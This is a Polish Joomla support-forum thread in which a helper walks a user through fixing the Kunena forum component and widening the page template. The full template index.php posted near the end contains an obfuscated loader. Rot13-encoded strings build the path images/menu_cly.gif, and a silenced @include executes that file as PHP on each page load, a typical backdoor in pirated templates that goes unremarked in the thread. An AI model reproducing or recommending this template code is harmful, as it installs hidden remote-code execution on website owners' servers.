PDA

Zobacz pełną wersję : Kunena na home.pl



comboos
22-02-2010, 15:17
Zacznę od tego iż zainstalowałem Kunene na home.pl gdzie mam stronę.Przechodząc do rejestracji po wypełnieniu formularza wyskakuje błąd i rejestracja nie jest możliwa.Doszedłem do wniosku ze nie będę robił rejestracji i wszystko będzie z głowy...jednak pozostaje jeden problem a mianowicie nie ma możliwości utworzenia nowego tematu. Czy może mi ktoś powiedzieć gdzie tkwi błąd i jak go naprawić. Z góry dziękuje.

siristru
22-02-2010, 15:20
Jakiego rodzaju to błąd? Przytocz komunikat.

W administracji Kuneną musisz ustawić, że osoby nie zarejestrowane mogą tworzyć tematy.

comboos
22-02-2010, 15:50
Błąd 404-Strona nie istnieje. Odnośnie ustawień mam włączone czytanie i pisanie na "tak"

siristru
22-02-2010, 15:55
Rozumiem, że masz portal na Joomla! 1.0.x Dlaczego nie spróbujesz przejść 1.5.15? Zbyt ogólnie opisujesz swój problem - bez dostępu do instalacji nie lzja.

comboos
22-02-2010, 15:58
Wersja 1.5.15 - to jest moja wersja joomla. To jest moja strona http://pppbialapodlaska.pl/ udostępniam forum i zobacz sam

siristru
22-02-2010, 15:59
Ekhm, bo piszesz w dziale przeznaczonym dla Joomla! 1.0.x. reszta tak jak mówię - trzeba by wejść w instalację i zobaczyć... U mnie Kunena na nazwa.pl przy 1.5.15 chodziła bez zarzutu.

comboos
22-02-2010, 16:01
Powiedz mi...czy nie należny podlinkować pod domenę tego forum?

siristru
22-02-2010, 16:05
Hm, nie bardzo rozumiem co masz na myśli pisząc "podlinkować". Przede wszystkim trzeba zainstalować Kunenę w Joomla! po drugie należy skonfigurować. Po trzecie utworzyć fora. Po czwarte dać odnośnik w menu.

comboos
22-02-2010, 16:33
Tak też zrobiłem ale jak widzisz nie da sie dodać tematu. Opcje Uprawnienia: Czytanie/Pisanie mam na "TAK" wiec co może być przyczyną? Na jakimś forum wyczytałem że trzeba utworzyć domenę i podlinkować do niej adres forum co wydaje mi się totalną głupotą.

siristru
22-02-2010, 17:04
Tak, bo i u mnie chodziło bez takich czarów. Pokazuje adres:


http://pppbialapodlaska.pl/index.php?Itemid=91&option=

Czyli nieprawidłowy. Taki jest prawidłowy:


http://pppbialapodlaska.pl/index.php?option=com_kunena&Itemid=91
http://pppbialapodlaska.pl/index.php?option=com_kunena&Itemid=91

Widzę, że masz ustawione proste adresy. Spróbuj odnośnik w menu do forum dać w ukrytym menu (zobaczy czy odnośnik jest prawidłowy) a w głównym daj w kategorii forum alias do tego z ukrytego menu. Lub w głównym menu daj odnosnik zewnetrzny do adresu http://pppbialapodlaska.pl/index.php?option=com_kunena&Itemid=91

comboos
22-02-2010, 17:49
Powiem Ci tak...kombinuje na różne sposoby i nic mi nie wychodzi mimo tego ze zrobiłem tak jak powiedziałeś.Ręce opadają:-( .Jeśli możesz to zerknij czy nic nie namieszałem.Adres się zgadza.Masz może jakieś sugestie? Zdecydowałem się w końcu na tą rejestracje tylko nie wiem czemu po kliknięciu na zarejestruj kieruje do strony głównej. W konfiguracji witryny mam takie ustawienia:
Rejestruj nowych "TAK"
Przypisz do grupy "Rejestrowany"
Automatyczna aktywacja "TAK"
Własne ustawienia "Pokaż"

siristru
22-02-2010, 17:55
No, teraz forum się uruchamia :) Natomiast faktycznie nie widać kategorii forum ni tematów. Nie wiem jakie masz ustawienia forów... jaki masz ustawiony Dostęp publiczny? Zobacz w dziale "Kategoria i fora".

comboos
22-02-2010, 18:01
Dostęp publiczny jest ustawiony na "Wszyscy"
Włącznie z grupami potomnymi "NIE"
Włącz grupy potomne "NIE"
Przegląd postów "NIE"

Bardzo Ci dziękuje...wiele mi pomogłeś,fora po prostu nie były opublikowane. Gdybym mógł Cie jeszcze prosić o pomoc w tej rejestracji bo do strony głównej kieruje:-(

siristru
22-02-2010, 18:05
A możesz wrzucić tutaj zrzut ekranu z pokazanym panelem administracyjnym forum? Z działem "Kategorie i fora".

comboos
22-02-2010, 18:10
file:///C:/Users/admin/AppData/Local/Temp/moz-screenshot.png2200

siristru
22-02-2010, 18:35
No, tak nie bardzo widać załącznik ;)

comboos
22-02-2010, 18:42
Nie wiem czy to coś zmieniło...Mogę na majla przesłać

siristru
22-02-2010, 19:03
Już widzę. Czekaj, czekaj. Masz włączoną obsługę prostych adresów? czy to coś innego? Bo adresy zamienia Ci na html... I Faktycznie przy rejestracji wysyła na stronę główną... a adres powinien być taki:


http://pppbialapodlaska.pl/index.php?option=com_user&view=register&Itemid=0

siristru
22-02-2010, 19:11
Zaraz, przecież forum i kategorie są widoczne :) Domyślnie pokazujesz najnowsze posty a, że ich nie było to nic nie było widać :)
Zmień we wszystkich ustawieniach: Domyślna strona Kunena na Kategorie :)

http://pppbialapodlaska.pl/forum/listcat.html

comboos
22-02-2010, 20:24
Gdzie mam to zmienić bo nie czaje...?

siristru
22-02-2010, 20:28
Komponenty -> Kunena forum -> Wszystkie ustawienia -> pozycja Domyślna strona Kunena -> ustaw na Kategorie.

comboos
22-02-2010, 20:52
Zrobiłem jak poleciłeś i dalej jest bulba, bo przekierowuje na stronę główną:-( Masz jeszcze jakieś pomysły?

siristru
22-02-2010, 20:57
No taka bulba to już nie jest. teraz widać kategorie forum :D
Wydaje mi się, że to proste adresy powodują ten błąd.
Ostatecznie możesz pogrzebać w kodzie komponentu i ręcznie dopisać dla logowania odnośnik


http://pppbialapodlaska.pl/index.php?option=com_user&view=register

comboos
22-02-2010, 21:47
Elegancko...już śmiga, jednak przy rejestracji wyskakuje "Nie udało się uruchomić wysyłania poczty". Co z tym fantem zrobić?

siristru
22-02-2010, 22:04
Jak masz ustawione w dziale: Konfiguracja globalna Joomla!, zakładka serwer, tabela Poczta? Czy masz tą tabelkę uzupełniąną tj. z jakiego adresu i czy funkcja PHP czy serwer SMTP?

comboos
22-02-2010, 22:13
Funkcja PHP a serwer SMTP jest na tak

siristru
23-02-2010, 08:30
Czy masz takie ustawienia?

2205

comboos
23-02-2010, 10:52
Mam dokładnie takie same a komunikat jest taki:



Nie udało się uruchomić wysyłania poczty.
Nie udało się uruchomić wysyłania poczty.




Konto zostało utworzone, a odsyłacz aktywacyjny przesłany na podany przez Ciebie adres. Po otrzymaniu wiadomości użyj odsyłacza, żeby uaktywnić swoje konto. Dopóki tego nie zrobisz, zalogowanie nie będzie możliwe.

siristru
23-02-2010, 11:25
Spróbuj zmienić na serwer SMTP i wypełnij dane.

comboos
23-02-2010, 11:59
Lata elegancko tyle że komunikat wyświetla na stronie startowej ze utworzyło konto...jakieś to dziwne nie?Pozostała mi już tylko kwestia szerokości tego forum.Poszukam,powinno coś być chyba że możesz coś w tym kierunku powiedzieć,trzeba chyba grzebać w css:-(

Stary za tyle pomocy to nie piwo a porządnego litra powinienem Ci postawić...mało kto miałby tyle nerwów:-)

siristru
23-02-2010, 12:15
Stary za tyle pomocy to nie piwo a porządnego litra powinienem Ci postawić...mało kto miałby tyle nerwów:-)

Ależ, tam. Jestem radykalnym abstynentem.

Szerokośc można dostosować. Robi się to w index.php szablonu. Trzeba to zrobić warunkami php. Jeśli chcesz się nad tym pomęczyć (oczywiście pomogę) to piszemy dalej. Dodaj tutaj jako załącznik spakowany szablon.

comboos
23-02-2010, 12:22
Oto on...myślisz że dało by się poszerzyć cały szablon by tego niebieskiego tła po bokach nie było widać? Lukam teraz na ten szablon,jednak wydaje mi się że nie ma opcji bo wszystko przestałoby się komponować. Najgorsze jest to że forum ma zaledwie 10 cm. a zależy mi na tym żeby było szersze bo tak jest nieczytelne.

siristru
23-02-2010, 12:44
Heh, sprawa jest bardzo prosta :) Co należy zrobić? 3 kroki:

1. w pliku index.php wstawić warunki przy gniazdach modułów


JRequest::getCmd('option') != 'com_kunena')

Czyli moduł będzie się wyświetlał zawsze kiedy option będzie rożne od com_kunena. I taki warunek zarówno dla left jak i right.

2. Utworzyć podobne warunki dla <div id="maincolumn"> czyli:


JRequest::getCmd('option') == 'com_kunena')


JRequest::getCmd('option') != 'com_kunena')

Czyli coś takiego:



<!-- warunek dla wystapienia kuneny -->

<?php if(JRequest::GetVar("option")=='com_kunena'): ?>
<div id="maincolumn_wide">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php endif; ?>
<!-- koniec warunku dla wystapienia kuneny -->
<!-- warunek dla braku kuneny -->

<?php if(JRequest::GetVar("option")!='com_kunena'): ?>
<div id="maincolumn">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php endif; ?>
<!-- koniec warunku dla braku kuneny -->


Wstaw to zamiast całego <div id="maincolumn">.

3. Trzeba ustalić jaki ma być szeroki div maincolumn_wide, czyli w pliku template.css:



#maincolumn_wide{
width: 988px;
float:left;
margin:0px;
padding:0px;
}


I po zawodach

comboos
23-02-2010, 12:49
Biorę się do roboty w razie "W" będą pytał a swoją drogą forumowicze będą tu mieli niezły faq bo w rzeczy samej tak tu jest wszystko opisane że jaśniej się nie da:-)

siristru
23-02-2010, 12:54
I o to chodzi by z tego korzystali inni. Oto siła społeczności wolnego oprogramowania!

comboos
23-02-2010, 13:03
Mam z tym problem...poprosze kolege o pomoc:-)

siristru
23-02-2010, 13:17
Do css'a dopisałeś kolejnego diva?
Oba warunki wstaw w miejsce:



<div id="maincolumn">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
Po prostu odnajdź to, zaznacz i w to miejsce wklej oba warunki.

Natomiast kolumny paneli powinny wyglądać tak:



<div id="rightcolumn">
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form' and JRequest::getCmd('option') != 'com_kunena') : ?>
<jdoc:include type="modules" name="right" style="xhtml"/>
<?php endif; ?>
</div>


dodaj and and JRequest::getCmd('option') != 'com_kunena' wewnątrz nawiasów warunku. Dla pozycji left tak samo.

comboos
23-02-2010, 13:39
Jak dodaje to wszystko mi się krzaczy i przesuwa...qrde szlak mnie trafi. Popracuje nad tym...

siristru
23-02-2010, 13:41
No dobrze :) W pliku css dodanie wpisu to łatwizna - więc to pewni dałeś radę. Co do reszty - przekopiuj sobie:



<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ieonly.css" <?php include_once('html/pagination.php');?> rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<div id="main_bg">
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top.png" alt="top" /><div id="logo_bg">
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/logo.png" alt="logo" align="left" hspace="5" />
<a href="index.php" class="logo"><?php echo $mainframe->getCfg('sitename') ;?></a>
<div id="user4"><jdoc:include type="modules" name="user4" /></div>
<br clear="all" />
</div>
<div id="user3"><div id="pillmenu"><jdoc:include type="modules" name="user3" /></div></div>
<div id="banner"><jdoc:include type="modules" name="top" /></div>
<div id="leftcolumn">
<?php if($this->countModules('left') and JRequest::getCmd('option') != 'com_kunena') : ?>
<jdoc:include type="modules" name="left" style="rounded" />
<br />
<?php endif; ?>
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>

<!-- warunek dla wystapienia kuneny -->

<?php if(JRequest::GetVar("option")=='com_kunena'): ?>
<div id="maincolumn_wide">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php endif; ?>
<!-- koniec warunku dla wystapienia kuneny -->
<!-- warunek dla braku kuneny -->

<?php if(JRequest::GetVar("option")!='com_kunena'): ?>
<div id="maincolumn">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php endif; ?>
<!-- koniec warunku dla braku kuneny -->

<div id="rightcolumn">
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form' and JRequest::getCmd('option') != 'com_kunena') : ?>
<jdoc:include type="modules" name="right" style="xhtml"/>
<?php endif; ?>
</div>

<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13( $JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<br clear="all" />
<img id="main_bottom" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/bottom.png" alt="bottom" align="bottom" /></div>

<?php if($this->countModules('user1') or $this->countModules('user2')) : ?>
<div id="f_area"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_f_area.png" alt="top" align="top" />
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" />
<img id="f_area_bottom" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/bottom_f_area.png" alt="bottom" align="bottom" /></div>
<?php endif; ?>

<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>

<jdoc:include type="modules" name="debug" />

</body>
</html>

comboos
23-02-2010, 13:51
Zerknij czy tak powinno być czy coś spierdzieliłem? http://pppbialapodlaska.pl/

siristru
23-02-2010, 13:56
Usunąłeś z template.css diva maincolumn ???? Nie należało usuwać a jedynie DODAĆ ten który napisałem.
Czy skopiowałeś ten kod, który podałem wyżej?

Wrzuć po prostu pliki, które wysyłam (zrób kopię oryginalnych oczywiście).

comboos
23-02-2010, 14:02
Teraz są twoje pliki. Trzeba się natrudzić z tą "Kuneną". Otwierając nowy temat robi się okienko niczym w smsie.

siristru
23-02-2010, 14:07
Dobra, teraz jest moja wina - wejdź w plik index.php i zmień wszędzie (4 miejscach) z com_agora na com_kunena. Testowałem to u siebie z agorą i wysyłając Tobie nie zmieniłem w pliku.
Ależ, natrudzić :) Jak byś doszedł do tego na kolanach po szkle kodu to by było faktycznie "natrudzić się" ;)

comboos
23-02-2010, 14:15
Teraz wygląda to tak "Po zmianie"

siristru
23-02-2010, 14:22
Czy zmieniłeś com_agora w warunkach dla maincolumn? Wrzuć pliki z tego załącznika.

comboos
23-02-2010, 14:27
Zgrałem jeszcze raz te pliki...tak to wygląda.

siristru
23-02-2010, 14:27
Najwyżej spakuj i podeślij mi pliki aktywnej templatki, zobaczę jak to chodzi u mnie.

comboos
23-02-2010, 14:34
Jak pech to pech nie chce wstawić...chyba już za dużo na wstawiałem :-( Mogę już chyba tylko na majla. Teraz wyczaiłem że wyłączając proste adresy plugin "google_maps" nie działa.

EDIT:

Powiem tak...bardzo mi pomogłeś,za co jestem bardzo wdzięczny. Doszedłem jednak do wniosku żeby włączyć proste adresy, wywalić zarejestruj się,zaloguj,przypomnienie hasła itp-zrobiłem to w pliku "profilebox.php".Kolejnie kombinująć nad parametrami które mi podałeś o pliku "template.css" zamiast "px" użyłem "%" i faktycznie forum sie poszerza tylko trochę na bok znosi, ale jeszcze troszkę nad tym posiedzę i jakoś to ustawie.Bardzo dziękuje jeszcze raz! Co fachowiec to fachowiec...nie omieszkam Ci tego przyznać i chylę czoło:-)